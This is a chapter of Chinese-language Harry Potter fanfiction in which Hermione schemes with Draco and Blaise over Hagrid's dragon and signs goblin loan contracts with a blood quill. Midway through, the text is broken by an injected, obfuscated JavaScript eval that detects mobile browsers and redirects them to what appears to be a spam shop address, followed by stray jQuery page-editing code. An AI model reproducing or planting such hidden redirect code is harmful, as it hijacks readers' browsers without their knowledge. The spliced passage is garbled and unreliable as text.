真的有一条龙。
赫敏惊呆了。
第二天，她跟着哈利、罗恩和纳威一起去拜访他们。海格对那条他取名为诺伯的小龙的喜爱之情溢于言表，但与赫敏的震惊表情相比，却显得不够外露了。
“海格，这样养龙是违法的，”罗恩再次劝道，“要是他们发现了，你会被关进监狱的。”
“哎呀，我不能就这么丢掉它！它需要妈妈，”海格说道，“你爱你的妈妈，对吧，诺伯？”
海格拿着一块生牛排在诺伯面前晃来晃去，诺伯猛地跳起来，一口咬掉了海格手里的牛排。海格高兴地大笑起来，而其他人则被小龙一排排锋利的牙齿吓了一跳。
“海格，你住的是木屋，”赫敏指出，“小龙长得很快，而且脾气暴躁。诺伯没有足够的空间长大。”
海格的脸色沉了下来，但很快又恢复了精神。
“等诺伯再长大些，我就带它去禁林，”海格说，“它肯定会喜欢那里的——那里有很多猎物可以捕猎，让它喷火。”
赫敏和哈利沮丧地对视了一眼。龙喜欢开阔的平原和悬崖——那种它们可以伸展翅膀、自由飞翔的地方。龙的自然习性并非生活在森林里。
“我们还得提防马尔福，”哈利提醒海格，“他随时可能去找邓布利多。”
赫敏知道，德拉科·马尔福正忙着嘲笑海格的愚蠢，根本没空去找邓布利多。他和布雷斯还打赌海格的小屋多久会被烧毁，赫敏拒绝参与。
海格咬了咬嘴唇。
“我……我知道我不能永远留着它，但我也不能就这样抛弃它。它太小了，它会死的。”
哈利突然转向罗恩。
“查理——你哥哥查理，他是研究龙的，对吧？”
罗恩的眼睛睁大了。
“太棒了！他可以照料它长大，直到它能回到野外。”
哈利转向海格：“怎么样，海格？把它送到火龙保护区去，它会很安全。”
赫敏看着哈利和罗恩逐渐说服了海格，海格最终同意他们可以派猫头鹰去问问查理。
当晚，她把了解到的情况告诉了两人。
“他们要把它送去罗马尼亚？”德拉科皱起眉头，“那就不好玩了。”
“有条龙在附近很危险，”布雷斯指出，“最好趁它还小的时候把它送走，免得哪天我们上草药课的时候它跑来作乱，把谁吃了。”
德拉科咕哝了几声，勉强同意布雷斯说得有道理。
“不过，这或许可以变成一个机会。”赫敏建议道，“海格太显眼了，罗恩必须想办法把龙偷偷交给他哥哥。”
德拉科的眼睛亮了起来。
“我们可以搞垮韦斯莱。”他点点头说道。
赫敏也点了点头，然后愣了一下，眨了眨眼。什么时候“让韦斯莱倒霉”变成了她对任何与罗恩沾边的事情的条件反射？
布雷斯若有所思。
“他已经无视我们的挑衅一段时间了，”他说，“这是个让他再次惹上麻烦的好主意。”
德拉科拍了拍手，眼中闪过一丝恶意的兴奋。
“赫敏，你负责打听他们什么时候把龙交出去？”他问她。赫敏不情愿地点了点头。
“你得表现像是从别处知道的，”她警告说，“我可不想被他们指责是叛徒——我还得让罗恩把我弄哭呢。”
“当然，”布雷斯向她保证道，“如果这样能让你安心些，我们甚至可以放走波特，只抓韦斯莱。”
这确实让她感觉好受多了，尽管德拉科皱着眉头，经过布雷斯的劝说才不得不同意。
……
当她的朋友们都在等待查理·韦斯莱的回信时，赫敏意外地先收到了一封写着她名字的猫头鹰信。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537720|202970||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>┄┄┄┄┄┄
赫敏·格兰杰
这些是贷款合同。请用随附的笔签字，然后寄回。请尽快办理。
布拉德索恩
┄┄┄┄┄┄
末尾潦草地加了一行字：
┄┄┄┄┄┄
这些合同我保管了一段时间，但直到某个借款人拖欠还款，我才觉得你必须签字。不要让任何人看到你使用这支笔。
┄┄┄┄┄┄
赫敏溜进一间空教室，迅速签完了合同。用那支血笔时，她疼得嘶嘶吸气，感觉那支笔正从她的掌心吸走鲜血。
合同数量比她预想的要多得多。她原本以为只有三四份，结果却有将近二十份。
没关系——她飞快地签了几个名字，忽然脑中灵光一闪，于是又匆匆赶回宿舍。
赫敏打开行李箱，从里面拿出她最新赚到的一批加隆（杰德和她的朋友们非常乐意能从赫敏那位神秘的“化妆品朋友”那里订购）。
犹豫了一下，赫敏又拿出了自己在障碍赛中赢得的奖品。如果这是值钱的东西，那最好还是放在安全的地方。
“我已经签好了合同。”赫敏写道，“另外，请把这些存到我的金库里。我相信你知道该怎么处理它们。赫敏。”
赫敏暗自得意。又多了160加隆，布拉德索恩可以再放几笔贷款了。虽然可能需要一段时间，但利息肯定会累积起来。
当赫敏回到大厅时，尽管早餐已经开始了，古灵阁妖精派来的那只长相奇特的猫头鹰还在上空盘旋。它应赫敏的招手飞了下来，赫敏把羊皮纸和袋子牢牢系好，给了猫头鹰一片培根，然后把它抛向空中，猫头鹰发出一声桀骜不驯的鸣叫，飞走了。
“邮件挺重啊，赫敏？”西奥落后几步，和她一起前往魔药课教室。
赫敏笑了笑，耸耸肩：“只是处理一些事情。”